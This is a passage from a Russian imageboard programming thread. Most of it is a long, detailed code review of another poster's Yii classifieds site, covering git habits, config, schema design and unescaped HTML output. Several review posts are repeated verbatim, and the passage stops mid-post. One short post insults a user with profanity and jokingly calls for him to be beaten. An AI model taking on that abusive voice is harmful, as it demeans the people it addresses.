Ты учишь неправильным вещам. Выкинь свой устаревший учебник и возьми нормальный.

>>560518

Можно через htaccess, там можно написать условие вида «если хост == X то обращаться к этой папке».

Как по мне так оно того не стоит.

>>560564

Нет ты. Не ругайся в треде.
#156 #560703
>>560063

> наследование - это когда класс наследует другой через extends или implements.


implements это не наследование, а реализация интерфейса. Ты пока плохо понимаешь ООП.
#157 #560704
>>560241

И еще, а что значит crup? Яндекс ничего убедительного не находит: https://slovari.yandex.ru/crup/%D0%BF%D0%B5%D1%80%D0%B5%D0%B2%D0%BE%D0%B4/#lingvo/

Если же ты хотел написать createOrUpdatePage то так и надо писать, нечего буквы экономить. Ну или можно написать savePage что то же самое, но короче.
#158 #560708
>>560241
Набейте кто-нить ебало этому долбоебу, уже год его тут наблюдаю и это чмо все также хуярит в ифы вместо переменных реквесты, хотя сколько раз ему говорили.
#159 #560725
>>560346
А ведь точно, как это я не подумал, что можно на родительский для картинок блок просто повесить транзишин и избавиться от .animate() которую заменить простой .css(). Благодарю!
https://github.com/nsdvw/classifieds #160 #560741
Ну что, как говорится, обещанного 3 года ждут, вот я и добрался до сайта объявлений на Юи.

Я тут обнаружил что у меня был твой старый сентябрьский репозиторий, но при попытке обновиться через git pull origin master все сломалось, написано что ветки разошлись. Как так? Ты делал push --force? Пересоздал репозиторий? Отвыкай от этого, если ты что-то коммитишь в публичный репозиторий и что-то сломал, то надо не откатывать HEAD назад с помощью git reset --hard <commit>, а откатывать изменения через git revert, который просто добавляет новый коммит.

Ладно, ты один работаешь, но если ты такую штуку сделаешь в репозитории с которым работают другие люди, им это вряд ли понравится. Так что отучайся пока не поздно. git reset можно делать только пока ты не запушил изменения, иначе git revert: https://git-scm.com/docs/git-revert

Также, ты коммитишь от имени inside и изменения в гитхабе не засчитываются как твои: https://github.com/nsdvw - чтобы засчитывались надо в конфиге гита (git config key value) прописать user.name и user.email совпадающие с гитхаб-аккаунтом (обрати внимание, email будет публично виден в этом случае).

Далее, в README у тебя пункт про конфиг идет позже чем пункт про запуск миграций, а должно быть наоборот. Ну и разметка сломалась.

Насчет этого:

> If you do not use sphinx, comment the configuration, or leave it as is (exception will be caught and use "like" query instead of sphinx).



Вот это наверно не лучшая идея, лучше сделать переключатель в конфиге и по умолчанию включить режим работы с БД. Потому что у тебя сейчас сделано неправильно:

> } catch(Exception $e) {


Это ловит (и скрывает) не только ошибку соединения со сфинксом, но и вообще любую ошибку. Ты можешь полностью сломать код поиска через сфинкс и даже не заметишь этого (а если мы посмотрим код, то увидим как раз что $reader нигде не используется).

Ну и явный переключатель надежнее, это дает гарантию что у нас на боевом сервере поиск не начнет внезапно грузить базу данных.

Еще одно нехорошее место, вот тут:

> https://github.com/nsdvw/classifieds/blob/master/index.php#L12


> // remove the following lines when in production mode


> defined('YII_DEBUG') or define('YII_DEBUG',true);


Как ты это представляешь? добрые гномы будут залезать на твой сервер и автоматически править код при каждой выгрузке? Нет, не будут, это лучше сделать опцией в конфиге. Если ты собрался тестировать свой код под нагрузкой, эта опция как раз тебе пригодится.

Вообще, я видел варианты когда режим работы dev/production переключается переменной окружения (вроде YII_ENV), но это очень неудобно: ты должен задать ее на веб-сервере, в командной строке, в кроне (если используешь крон-таски). Если ты где-то забудешь ее указать, получаешь баги. Я даже выяснил, откуда идет эта мода и нашел вот такие вот советы: http://12factor.net/config

Хотя это там в общем собраны хорошие советы, и с большинством я согласен, но с этим согласиться не могу. Хранение конфига в переменных окружения только добавляет головной боли (надо всюду прописывать эти переменные) и не дает никакой выгоды в сравнении с конфигом в файле. Более того, в итоге люди изобретают что-то вроде dotenv ( https://github.com/vlucas/phpdotenv ) и мы получаем в итоге тот же самый конфиг в файле. Не одобряю.

Далее, в логической структуре сайта неправильно на мой взгляд сделаны города. Посмотри на craigslist, посмотри на Авито. Там структура сделана так:

Выбор города -> выбор категории -> объявления

Это логично: житель Астрахани вряд ли будет искать товар во Владивостоке (если только это не какой-нибудь товар вроде автомобиля, где может быть выгода от покупки в другом городе).

У тебя же город сделан как свойство объявления, и на главной выводятся «последние объявления» со всех городов. Какой в этом смысл? На главной должен быть выбор города, как в авито ( https://www.avito.ru/ ), и у craigslist есть такая страница: http://www.craigslist.org/about/sites

Я считаю, что если уж ты взялся делать города, то надо сделать их хорошо, а не «для галочки».

Указание города можно реализовать по-разному: кто-то использует поддомены, http://sfbay.craigslist.org/ , кто-то path: https://www.avito.ru/novosibirsk , кто-то ставит куку (самый ужасный вариант на мой взгляд, так как ты не можешь передать ссылку на страницу в конкретном городе, и поисковый бот, не поддерживающий куки, запутается). Также, можно использовать геолокацию по IP (есть база GeoIP) для определения положения и показывать вверху подсказку для перехода на сайт выбранного города. Также, можно не показывать ничего, а молча редиректить, но мне не очень нравится когда меня редиректят без спроса. Помни что в любом из этих случаев, надо иметь возможность переключить город вручную, так как автоматическое определение ошибается, и пользователь может хотеть сделать поиск в другом городе.

Даже если пользователь выбрал (или мы определили) город, поиск может включать более широкую область, например житель Зеленограда вполне может съездить на электричке за товаром в Москву. Это можно реализовать выбором «искать только в моем городе» - «искать в моем регионе» (или в ближайших пригородах, но тогда надо иметь связи между ними) - «искать везде».

Сам выбор города вместо 2 списков можно бы сделать одним селектом с автодополнением и аяксом, например на базе select2. Если будешь делать, постарайся это сделать как отдельный виджет, чтобы его можно было вставить в любую форму. То, что сейчас, по моему не очень удобно, и например пустой селект «город» только путает.

Я вижу, ты сделал в добавлении объявления такую штуку вроде бы на Chosen(?), но зачем делать 2 селекта там, где можно обойтись одним, со списком городов. Бывают конечно города с одинаковым названием, но к ним можно в скобках приписать область. Ну и если ты сделаешь выбор города глобально, большинству людей менять город при добавлении не придется.

Также подскажу тебе где брать географические данные, если тебе вдруг где-то это понадобится.

Официальный список всех адресов в РФ: был КЛАДР, а сейчас есть ФИАС: http://fias.nalog.ru/Public/NewsPage.aspx - содержит по моему все адреса вплоть до домов, улиц, населенных пунктов. Каждый адрес идентифицирован специальным кодом, который содержит id региона, id района, id города, id улицы и тд.
Статья на хабре: http://habrahabr.ru/post/140378/

GeoIP для определения города по IP: https://www.maxmind.com/ru/geoip-demo - это коммерческая база, там есть платная и бесплатная версии. Откуда они ее взяли? В качестве первичного источника скорее всего распарсили записи whois по всем IP адресам: http://whois7.ru/?q=8.8.8.8

Openstreetmap - это проект, собирающий (и создающий) картографические данные по всему миру: https://www.openstreetmap.org/#map=5/51.500/-0.100 - в нем есть и страны, и города, и дома с координатами, в общем это такой свободный аналог Google Maps. Там есть многогигабайтные выгрузки в формате XML, и из них можно взять любые нужные данные.

Ну и в Москве еще есть портал открытых данных: http://data.mos.ru/ - там например можно найти координаты вестибюлей метро, маршруты транспорта и тд.

Кроме них, есть еще другие сервисы, например предоставляющие API для получения каких-то данных. Но надо понимать что в случае их использования ты становишься полностью от них зависим, лучше наверно все же иметь свою базу на основе свободных данных. Тем более что многие их них как раз на описанных выше базах и живут.
https://github.com/nsdvw/classifieds #160 #560741
Ну что, как говорится, обещанного 3 года ждут, вот я и добрался до сайта объявлений на Юи.

Я тут обнаружил что у меня был твой старый сентябрьский репозиторий, но при попытке обновиться через git pull origin master все сломалось, написано что ветки разошлись. Как так? Ты делал push --force? Пересоздал репозиторий? Отвыкай от этого, если ты что-то коммитишь в публичный репозиторий и что-то сломал, то надо не откатывать HEAD назад с помощью git reset --hard <commit>, а откатывать изменения через git revert, который просто добавляет новый коммит.

Ладно, ты один работаешь, но если ты такую штуку сделаешь в репозитории с которым работают другие люди, им это вряд ли понравится. Так что отучайся пока не поздно. git reset можно делать только пока ты не запушил изменения, иначе git revert: https://git-scm.com/docs/git-revert

Также, ты коммитишь от имени inside и изменения в гитхабе не засчитываются как твои: https://github.com/nsdvw - чтобы засчитывались надо в конфиге гита (git config key value) прописать user.name и user.email совпадающие с гитхаб-аккаунтом (обрати внимание, email будет публично виден в этом случае).

Далее, в README у тебя пункт про конфиг идет позже чем пункт про запуск миграций, а должно быть наоборот. Ну и разметка сломалась.

Насчет этого:

> If you do not use sphinx, comment the configuration, or leave it as is (exception will be caught and use "like" query instead of sphinx).



Вот это наверно не лучшая идея, лучше сделать переключатель в конфиге и по умолчанию включить режим работы с БД. Потому что у тебя сейчас сделано неправильно:

> } catch(Exception $e) {


Это ловит (и скрывает) не только ошибку соединения со сфинксом, но и вообще любую ошибку. Ты можешь полностью сломать код поиска через сфинкс и даже не заметишь этого (а если мы посмотрим код, то увидим как раз что $reader нигде не используется).

Ну и явный переключатель надежнее, это дает гарантию что у нас на боевом сервере поиск не начнет внезапно грузить базу данных.

Еще одно нехорошее место, вот тут:

> https://github.com/nsdvw/classifieds/blob/master/index.php#L12


> // remove the following lines when in production mode


> defined('YII_DEBUG') or define('YII_DEBUG',true);


Как ты это представляешь? добрые гномы будут залезать на твой сервер и автоматически править код при каждой выгрузке? Нет, не будут, это лучше сделать опцией в конфиге. Если ты собрался тестировать свой код под нагрузкой, эта опция как раз тебе пригодится.

Вообще, я видел варианты когда режим работы dev/production переключается переменной окружения (вроде YII_ENV), но это очень неудобно: ты должен задать ее на веб-сервере, в командной строке, в кроне (если используешь крон-таски). Если ты где-то забудешь ее указать, получаешь баги. Я даже выяснил, откуда идет эта мода и нашел вот такие вот советы: http://12factor.net/config

Хотя это там в общем собраны хорошие советы, и с большинством я согласен, но с этим согласиться не могу. Хранение конфига в переменных окружения только добавляет головной боли (надо всюду прописывать эти переменные) и не дает никакой выгоды в сравнении с конфигом в файле. Более того, в итоге люди изобретают что-то вроде dotenv ( https://github.com/vlucas/phpdotenv ) и мы получаем в итоге тот же самый конфиг в файле. Не одобряю.

Далее, в логической структуре сайта неправильно на мой взгляд сделаны города. Посмотри на craigslist, посмотри на Авито. Там структура сделана так:

Выбор города -> выбор категории -> объявления

Это логично: житель Астрахани вряд ли будет искать товар во Владивостоке (если только это не какой-нибудь товар вроде автомобиля, где может быть выгода от покупки в другом городе).

У тебя же город сделан как свойство объявления, и на главной выводятся «последние объявления» со всех городов. Какой в этом смысл? На главной должен быть выбор города, как в авито ( https://www.avito.ru/ ), и у craigslist есть такая страница: http://www.craigslist.org/about/sites

Я считаю, что если уж ты взялся делать города, то надо сделать их хорошо, а не «для галочки».

Указание города можно реализовать по-разному: кто-то использует поддомены, http://sfbay.craigslist.org/ , кто-то path: https://www.avito.ru/novosibirsk , кто-то ставит куку (самый ужасный вариант на мой взгляд, так как ты не можешь передать ссылку на страницу в конкретном городе, и поисковый бот, не поддерживающий куки, запутается). Также, можно использовать геолокацию по IP (есть база GeoIP) для определения положения и показывать вверху подсказку для перехода на сайт выбранного города. Также, можно не показывать ничего, а молча редиректить, но мне не очень нравится когда меня редиректят без спроса. Помни что в любом из этих случаев, надо иметь возможность переключить город вручную, так как автоматическое определение ошибается, и пользователь может хотеть сделать поиск в другом городе.

Даже если пользователь выбрал (или мы определили) город, поиск может включать более широкую область, например житель Зеленограда вполне может съездить на электричке за товаром в Москву. Это можно реализовать выбором «искать только в моем городе» - «искать в моем регионе» (или в ближайших пригородах, но тогда надо иметь связи между ними) - «искать везде».

Сам выбор города вместо 2 списков можно бы сделать одним селектом с автодополнением и аяксом, например на базе select2. Если будешь делать, постарайся это сделать как отдельный виджет, чтобы его можно было вставить в любую форму. То, что сейчас, по моему не очень удобно, и например пустой селект «город» только путает.

Я вижу, ты сделал в добавлении объявления такую штуку вроде бы на Chosen(?), но зачем делать 2 селекта там, где можно обойтись одним, со списком городов. Бывают конечно города с одинаковым названием, но к ним можно в скобках приписать область. Ну и если ты сделаешь выбор города глобально, большинству людей менять город при добавлении не придется.

Также подскажу тебе где брать географические данные, если тебе вдруг где-то это понадобится.

Официальный список всех адресов в РФ: был КЛАДР, а сейчас есть ФИАС: http://fias.nalog.ru/Public/NewsPage.aspx - содержит по моему все адреса вплоть до домов, улиц, населенных пунктов. Каждый адрес идентифицирован специальным кодом, который содержит id региона, id района, id города, id улицы и тд.
Статья на хабре: http://habrahabr.ru/post/140378/

GeoIP для определения города по IP: https://www.maxmind.com/ru/geoip-demo - это коммерческая база, там есть платная и бесплатная версии. Откуда они ее взяли? В качестве первичного источника скорее всего распарсили записи whois по всем IP адресам: http://whois7.ru/?q=8.8.8.8

Openstreetmap - это проект, собирающий (и создающий) картографические данные по всему миру: https://www.openstreetmap.org/#map=5/51.500/-0.100 - в нем есть и страны, и города, и дома с координатами, в общем это такой свободный аналог Google Maps. Там есть многогигабайтные выгрузки в формате XML, и из них можно взять любые нужные данные.

Ну и в Москве еще есть портал открытых данных: http://data.mos.ru/ - там например можно найти координаты вестибюлей метро, маршруты транспорта и тд.

Кроме них, есть еще другие сервисы, например предоставляющие API для получения каких-то данных. Но надо понимать что в случае их использования ты становишься полностью от них зависим, лучше наверно все же иметь свою базу на основе свободных данных. Тем более что многие их них как раз на описанных выше базах и живут.
https://github.com/nsdvw/classifieds #161 #560742
Также, у тебя при вборе категории надо выбрать подкатегорию, и нельзя просмотреть все объявления в категории «работа».

Также, случайные объявления хорошо бы генерировать не в случайных городах, а в одном (или сделать опцию). А то я сгенерировал объявлений и теперь не могу найти в каком они городе и рубрике. Ну и не вижу у них никаких EAV свойств, только название, текст и цена (и та не выводится на странице объявления).

Также, для фото ты нагенерировал записей в БД, а вот картинок нет. Можно было сгенерировать несколько картинок вида «белый квадрат на синем фоне» и их привязать к ним.

Страницы «About» и «Contact» надо бы удалить и сделать меню актуальным.

Дату надо бы выводить в человеческом формате вроде «12 сентября 2015, 12:30»

В плане дизайна - было бы хорошо сделать хотя бы как на craigslist, а то то что идет по умолчанию в Юи страшное и неудобное, например пагинация крошечная, формы микроскопические. То что идет из коробки, это ужас какой-то.

Увидел в CSS .ad-description { overflow: hidden; } - а это верный признак что в знании CSS у тебя пробелы. Не надо использовать overflow вместо clearfix.

Человеку трудно воспринимать неупорядоченные списки. Значения в списках надо сортировать по какой-то логике. Ну например «Тип кузова» можно отсортировать хотя бы по алфавиту. Аналогично со списками городов - там это надо делать обязательно, но как я написал выше, лучше вообще их выпилить.

После успешной регистрации надо логинить пользователя и показывать сообщение вроде «добро пожаловать на сайт XYZ! Теперь вы можете (ссылки) подать объявление, сделать еще что-то или еще что-то». И ссылки на регистрацию нету нигде.

В общем, сделай структуру сайта и меню. А то пока у тебя не цельное приложение, а какие-то недоделанные куски функциональности. Загрузить тысячу категорий ты не поленился, а сделать ссылку «Добавить объявление» поленился.

Поле для ввода текста объявления крошечное, что в него можно ввести? Ты сам его видел?

Выбор цвета в поиске лучше бы сделать набором цветных квадратиков (которые являются например скрытыми чекбоксами), а не словами.

Там еще есть проблемы с текстом ошибок: «Цена должен быть числом.» - можешь подумать как это можно исправить. Ну как минимум, можно поменять шаблон на «В поле «Цена» нужно ввести число».

При ошибке в объявлении загружается форма, но область и город оказываются сброшенными. Это потому что ты неправильно реализовал виджеты для них.

Ватермарка, накладываемая на картинки, слишком большая, надо сделать ее поменьше и попрозрачнее.

Все картинки сваливаются в одну папку - разве это хорошо? Подумай как группировать их по подпапкам. В случае сайта объявлений, удобно использовать структуру с городом (или рубрикой) и датой, например auto/2015/02/...

Выбирать несколько фото через один элемент очень неудобно, особенно когда в папке много файлов. да и люди вряд ли знают что можно выбрать несколько файлов, зажимая Ctrl. Нужен более удобный виджет.

Наконец, немного замечаний по коду.

https://github.com/nsdvw/classifieds/blob/master/protected/controllers/SiteController.php#L75
Тут многовато кода. Контроллеры должны быть тонкими, в данном случае наверно должен быть какой-то сервис для поиска, и наверно класс вроде SearchCriteria для указания критериев поиска (впрочем, в Юи вроде для указания критериев исопльзуют модель, тут тогда можно сделать так же). А так, там уже 50 строк, потом кто-то еще допишет, и мы будем иметь гигантские контроллеры с простынями кода в каждом экшене.

Используй единообразный стиль. Я вижу там и $childrenIds и $city_id.

> https://github.com/nsdvw/classifieds/blob/master/protected/data/classifieds.sql#L70


> rgt


Зачем так сокращать? Аж 2 буквы сэкономил. Или там right идет как ключевое слово и что-то ломает? Пиши тогда rightKey.

> KEY `lft` (`lft`),


Там еще можно (читай нужно) сделать уникальный ключ по root + leftkey/rightkey. Тогда отдельный индекс по root будет не нужен. Кстати, зачем там root? У тебя несколько деревьев категорий в базе? Не проще ли одно было сделать?

> KEY `level` (`level`),


Реально этот индекс где-то нужен? Не ставь индексы без надобности, они как минимум увеличивают объем базы и время модификации данных. Ну и статью прочти хотя бы эту:

http://ruhighload.com/post/%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0+%D1%81+%D0%B8%D0%BD%D0%B4%D0%B5%D0%BA%D1%81%D0%B0%D0%BC%D0%B8+%D0%B2+MySQL

Тут почему-то 2 противоречащих друг другу внешних ключа: https://github.com/nsdvw/classifieds/blob/master/protected/data/classifieds.sql#L79

Дальше, у тебя там страны, на мой взгляд незачем было импортировать все страны мира, оставил бы 1-2 для начала. Вряд ли в Ангуилье кому-то нужен сайт на русском.

> https://github.com/nsdvw/classifieds/blob/master/protected/data/classifieds.sql#L159


> `type` tinyint(1) unsigned NOT NULL COMMENT '0 if the attribute can have only one value or 1 if the attribute can have multiple values',


Логичнее было назвать это поле multiple_values, или это в библиотеке EAV так заложено?

В таблице вроде eav_attribute_int неудачно сделана ссылка на сущность: entity + entity_id что не позволяет прописать там внешний ключ если у нас несколько сущностей. В таких случаях есть 2 решения:

- наследовать все сущности от одной таблицы entities что позволяет прописать внешний ключ (entity_id) -> entitites(id)
- делать для каждой сущности свой набор таблиц eav_attribute_int

В твоем случае у нас EAV относятся только к объявлениям, так что стоит прописать внешний ключик от entity_id к ad(id).

Вообще, мне еще не нравится что в EAV таблицах суррогатные ключи. Логичнее было бы там в качестве первичного ключа использовать естественный ключ (entity_id, attribute_id). Ну опять же, сторонняя библиотека, что поделаешь.

У всех объявлений генерируемых случайно почему-то статус unpublished и они все равно показываются.

В таблице фото наверно нужно поле для указания порядка вывода + уникальный ключ для него.

> https://github.com/nsdvw/classifieds/blob/master/protected/data/classifieds.sql#L447


> `city_id` int(10) unsigned NOT NULL DEFAULT '0',


Это поле во-первых логичнее назвать capital_id, во-вторых указывая 0 ты лишаешься возможности поставить внешний ключ. То же самое с country_id.
https://github.com/nsdvw/classifieds #161 #560742
Также, у тебя при вборе категории надо выбрать подкатегорию, и нельзя просмотреть все объявления в категории «работа».

Также, случайные объявления хорошо бы генерировать не в случайных городах, а в одном (или сделать опцию). А то я сгенерировал объявлений и теперь не могу найти в каком они городе и рубрике. Ну и не вижу у них никаких EAV свойств, только название, текст и цена (и та не выводится на странице объявления).

Также, для фото ты нагенерировал записей в БД, а вот картинок нет. Можно было сгенерировать несколько картинок вида «белый квадрат на синем фоне» и их привязать к ним.

Страницы «About» и «Contact» надо бы удалить и сделать меню актуальным.

Дату надо бы выводить в человеческом формате вроде «12 сентября 2015, 12:30»

В плане дизайна - было бы хорошо сделать хотя бы как на craigslist, а то то что идет по умолчанию в Юи страшное и неудобное, например пагинация крошечная, формы микроскопические. То что идет из коробки, это ужас какой-то.

Увидел в CSS .ad-description { overflow: hidden; } - а это верный признак что в знании CSS у тебя пробелы. Не надо использовать overflow вместо clearfix.

Человеку трудно воспринимать неупорядоченные списки. Значения в списках надо сортировать по какой-то логике. Ну например «Тип кузова» можно отсортировать хотя бы по алфавиту. Аналогично со списками городов - там это надо делать обязательно, но как я написал выше, лучше вообще их выпилить.

После успешной регистрации надо логинить пользователя и показывать сообщение вроде «добро пожаловать на сайт XYZ! Теперь вы можете (ссылки) подать объявление, сделать еще что-то или еще что-то». И ссылки на регистрацию нету нигде.

В общем, сделай структуру сайта и меню. А то пока у тебя не цельное приложение, а какие-то недоделанные куски функциональности. Загрузить тысячу категорий ты не поленился, а сделать ссылку «Добавить объявление» поленился.

Поле для ввода текста объявления крошечное, что в него можно ввести? Ты сам его видел?

Выбор цвета в поиске лучше бы сделать набором цветных квадратиков (которые являются например скрытыми чекбоксами), а не словами.

Там еще есть проблемы с текстом ошибок: «Цена должен быть числом.» - можешь подумать как это можно исправить. Ну как минимум, можно поменять шаблон на «В поле «Цена» нужно ввести число».

При ошибке в объявлении загружается форма, но область и город оказываются сброшенными. Это потому что ты неправильно реализовал виджеты для них.

Ватермарка, накладываемая на картинки, слишком большая, надо сделать ее поменьше и попрозрачнее.

Все картинки сваливаются в одну папку - разве это хорошо? Подумай как группировать их по подпапкам. В случае сайта объявлений, удобно использовать структуру с городом (или рубрикой) и датой, например auto/2015/02/...

Выбирать несколько фото через один элемент очень неудобно, особенно когда в папке много файлов. да и люди вряд ли знают что можно выбрать несколько файлов, зажимая Ctrl. Нужен более удобный виджет.

Наконец, немного замечаний по коду.

https://github.com/nsdvw/classifieds/blob/master/protected/controllers/SiteController.php#L75
Тут многовато кода. Контроллеры должны быть тонкими, в данном случае наверно должен быть какой-то сервис для поиска, и наверно класс вроде SearchCriteria для указания критериев поиска (впрочем, в Юи вроде для указания критериев исопльзуют модель, тут тогда можно сделать так же). А так, там уже 50 строк, потом кто-то еще допишет, и мы будем иметь гигантские контроллеры с простынями кода в каждом экшене.

Используй единообразный стиль. Я вижу там и $childrenIds и $city_id.

> https://github.com/nsdvw/classifieds/blob/master/protected/data/classifieds.sql#L70


> rgt


Зачем так сокращать? Аж 2 буквы сэкономил. Или там right идет как ключевое слово и что-то ломает? Пиши тогда rightKey.

> KEY `lft` (`lft`),


Там еще можно (читай нужно) сделать уникальный ключ по root + leftkey/rightkey. Тогда отдельный индекс по root будет не нужен. Кстати, зачем там root? У тебя несколько деревьев категорий в базе? Не проще ли одно было сделать?

> KEY `level` (`level`),


Реально этот индекс где-то нужен? Не ставь индексы без надобности, они как минимум увеличивают объем базы и время модификации данных. Ну и статью прочти хотя бы эту:

http://ruhighload.com/post/%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0+%D1%81+%D0%B8%D0%BD%D0%B4%D0%B5%D0%BA%D1%81%D0%B0%D0%BC%D0%B8+%D0%B2+MySQL

Тут почему-то 2 противоречащих друг другу внешних ключа: https://github.com/nsdvw/classifieds/blob/master/protected/data/classifieds.sql#L79

Дальше, у тебя там страны, на мой взгляд незачем было импортировать все страны мира, оставил бы 1-2 для начала. Вряд ли в Ангуилье кому-то нужен сайт на русском.

> https://github.com/nsdvw/classifieds/blob/master/protected/data/classifieds.sql#L159


> `type` tinyint(1) unsigned NOT NULL COMMENT '0 if the attribute can have only one value or 1 if the attribute can have multiple values',


Логичнее было назвать это поле multiple_values, или это в библиотеке EAV так заложено?

В таблице вроде eav_attribute_int неудачно сделана ссылка на сущность: entity + entity_id что не позволяет прописать там внешний ключ если у нас несколько сущностей. В таких случаях есть 2 решения:

- наследовать все сущности от одной таблицы entities что позволяет прописать внешний ключ (entity_id) -> entitites(id)
- делать для каждой сущности свой набор таблиц eav_attribute_int

В твоем случае у нас EAV относятся только к объявлениям, так что стоит прописать внешний ключик от entity_id к ad(id).

Вообще, мне еще не нравится что в EAV таблицах суррогатные ключи. Логичнее было бы там в качестве первичного ключа использовать естественный ключ (entity_id, attribute_id). Ну опять же, сторонняя библиотека, что поделаешь.

У всех объявлений генерируемых случайно почему-то статус unpublished и они все равно показываются.

В таблице фото наверно нужно поле для указания порядка вывода + уникальный ключ для него.

> https://github.com/nsdvw/classifieds/blob/master/protected/data/classifieds.sql#L447


> `city_id` int(10) unsigned NOT NULL DEFAULT '0',


Это поле во-первых логичнее назвать capital_id, во-вторых указывая 0 ты лишаешься возможности поставить внешний ключ. То же самое с country_id.
https://github.com/nsdvw/classifieds #162 #560743
На будущее: в базе данных вместо utf8 стоит использовать utf8mb4, так как utf8 по версии MySQL это какой-то урезанный utf где на символ отводится максимум 3 байта и не все символы доступны. С другой стороны utf8mb4 потребует больше места.

> https://github.com/nsdvw/classifieds/blob/master/protected/data/classifieds.sql#L500


Тут к полю password надо приписывать что там хранится, хеш ли или что еще.

> https://github.com/nsdvw/classifieds/blob/master/protected/controllers/AdController.php#L85


> echo json_encode($res);


Вместо echo надо найти/сделать в базовом контроллере метод отдачи JSON. Также JSON должен сопровождаться заголовком Content-Type: application/json

https://github.com/nsdvw/classifieds/blob/master/protected/controllers/AdController.php#L110
Тут слишком большая вложенность кода, надо уменьшить до 2-3 отступов макс. И наверно вынести создание объявления из контроллера в сервис, а то лапша какая-то получается.

> https://github.com/nsdvw/classifieds/blob/master/protected/controllers/AdController.php#L223


> protected function performAjaxValidation($model)


Если этот метод одинаковый везде, стоит вынести его в базовый контроллер.

>https://github.com/nsdvw/classifieds/blob/master/protected/models/Ad.php#L145


> public function getAttributeUnit($attribute)


Лучше писать $attributeName иначе непонятно что там передается.

И вообще, методы getAttributeUnit, getEavVariants мне не очень нравятся. Зачем они? У нас же есть модель атрибута из которой можно получить все нужные данные.

>https://github.com/nsdvw/classifieds/blob/master/protected/models/Ad.php#L181


> public function getCategoryList($id)


Этот метод по моему к Ad никакого отношения не имеет

> https://github.com/nsdvw/classifieds/blob/master/protected/models/Category.php#L129


> public static function getChildren($id)


Сюда лучше передавать не id, а модель категории. И вообще метод какой-то странный, почему у тебя модель генерирует HTML код?

> https://github.com/nsdvw/classifieds/blob/master/protected/models/EavSearchForm.php#L17


> foreach ($_GET[$getParam] as $key=>$value) {


Модели не должны лезть в GET. Хотя это модель формы, можно в нее передавать объект request тогда.

Более того, в Юи по моему есть какие-то методы в объекте request для получения GET/POST переменных, не надо напрямую обращаться к этим глобальным переменным.

> https://github.com/nsdvw/classifieds/blob/master/protected/models/Photo.php#L112


> public function afterSave()


Картинку надо сохранять в beforeSave либо же завернуть все в транзакцию (а в beforeSave проверять что мы внутри транзакции), чтобы не было такого, что запись в базу удалась, а картинка не сохранилась. При удалении - обратный порядок. Кстати, а где удаление файлов?

> https://github.com/nsdvw/classifieds/blob/master/protected/models/Photo.php#L128


> Yii::setPathOfAlias('WideImage',Yii::getPathOfAlias(


Это наверно где-то в конфиге или в скрипте инициализации должно быть?

> https://github.com/nsdvw/classifieds/blob/master/protected/models/Photo.php#L156


> protected function createThumb(


передавать 3 параметра (ширина, высота, ratio) по моему избыточно, хватит двух

> https://github.com/nsdvw/classifieds/blob/master/protected/models/Region.php#L107


> public static function getRegionList($country_id = 3159) // default to Russia


Нужна константа + гарантия что id не поменяется (для этого id должен быть указан явно в дампе или миграции)

По поводу БД: что-то у тебя миграций не видно. Зря, приучайся через миграции менять базу, заодно получишь историю изменений. Ну и в командной работе без миграций никак.

> https://github.com/nsdvw/classifieds/blob/master/protected/views/ad/create.twig#L6


> App.request.baseUrl~'/js/select2-3.5.4/select2.js')) }}


Ты потом замучаешься менять тут цифры при обновлении. да и принцип DRY нарушаешь. Имеет смысл сделать какой-то класс типа StaticLibraryManager с методами вроде includeSelect2(). Создавать объект этого класса в самом начале и передавать в шаблоны. Может быть можно унаследовать App.clientScript?

Также мне не нравится обращение к App: App.request.baseUrl из шаблона. Лучше получить эту переменную где-то в начале, например в базовом контроллере, и передать глобально в шаблонизатор. Или сделать в вышеупомянутом классе метод который будет приписывать это к скрипту.

> https://github.com/nsdvw/classifieds/blob/master/protected/views/ad/create.twig#L37


> ignore missing


Это еще что?

> https://github.com/nsdvw/classifieds/blob/master/protected/views/ad/new.twig#L14


> href="{{ App.request.baseUrl~'/ad/create/'~model.id }}"


Для генерации URL стоит сделать объект с методами вроде getCreateAdUrl($categoryModel) а не размазывать это по всему коду. Опять же, принцип DRY.

Насчет фото: ты генерируешь превьюшки при загрузке. Хорошо, почему бы и нет. Но имей в виду что при смене дизайна все придется перегенерировать как-то заново.

> https://github.com/nsdvw/classifieds/blob/master/js/citiesDropDown.js#L13


> $('<option value="' + key + '">' + value + '</option>')


Нет кодирования HTML сущностей

В общем, по моим ощущениям, PHP-код у тебя более-менее нормальный, и в Юи ты разбираешься, а вот более глобальные вещи вроде структуры сайта, взаимодействия с пользователем, интерфейсных особенностей - тут пока есть чему учиться, у тебя сейчас интерфейс больше для роботов, чем для людей подходит. Ну а JS/верстку я особо внимательно пока не смотрел.

Ну и конечно все это хорошо бы еще тестами покрыть. А то логика все усложняется, кто знает, вдруг ты завтра сам же сломаешь то, что раньше сделал.

На этом пока все.
https://github.com/nsdvw/classifieds #162 #560743
На будущее: в базе данных вместо utf8 стоит использовать utf8mb4, так как utf8 по версии MySQL это какой-то урезанный utf где на символ отводится максимум 3 байта и не все символы доступны. С другой стороны utf8mb4 потребует больше места.

> https://github.com/nsdvw/classifieds/blob/master/protected/data/classifieds.sql#L500


Тут к полю password надо приписывать что там хранится, хеш ли или что еще.

> https://github.com/nsdvw/classifieds/blob/master/protected/controllers/AdController.php#L85


> echo json_encode($res);


Вместо echo надо найти/сделать в базовом контроллере метод отдачи JSON. Также JSON должен сопровождаться заголовком Content-Type: application/json

https://github.com/nsdvw/classifieds/blob/master/protected/controllers/AdController.php#L110
Тут слишком большая вложенность кода, надо уменьшить до 2-3 отступов макс. И наверно вынести создание объявления из контроллера в сервис, а то лапша какая-то получается.

> https://github.com/nsdvw/classifieds/blob/master/protected/controllers/AdController.php#L223


> protected function performAjaxValidation($model)


Если этот метод одинаковый везде, стоит вынести его в базовый контроллер.

>https://github.com/nsdvw/classifieds/blob/master/protected/models/Ad.php#L145


> public function getAttributeUnit($attribute)


Лучше писать $attributeName иначе непонятно что там передается.

И вообще, методы getAttributeUnit, getEavVariants мне не очень нравятся. Зачем они? У нас же есть модель атрибута из которой можно получить все нужные данные.

>https://github.com/nsdvw/classifieds/blob/master/protected/models/Ad.php#L181


> public function getCategoryList($id)


Этот метод по моему к Ad никакого отношения не имеет

> https://github.com/nsdvw/classifieds/blob/master/protected/models/Category.php#L129


> public static function getChildren($id)


Сюда лучше передавать не id, а модель категории. И вообще метод какой-то странный, почему у тебя модель генерирует HTML код?

> https://github.com/nsdvw/classifieds/blob/master/protected/models/EavSearchForm.php#L17


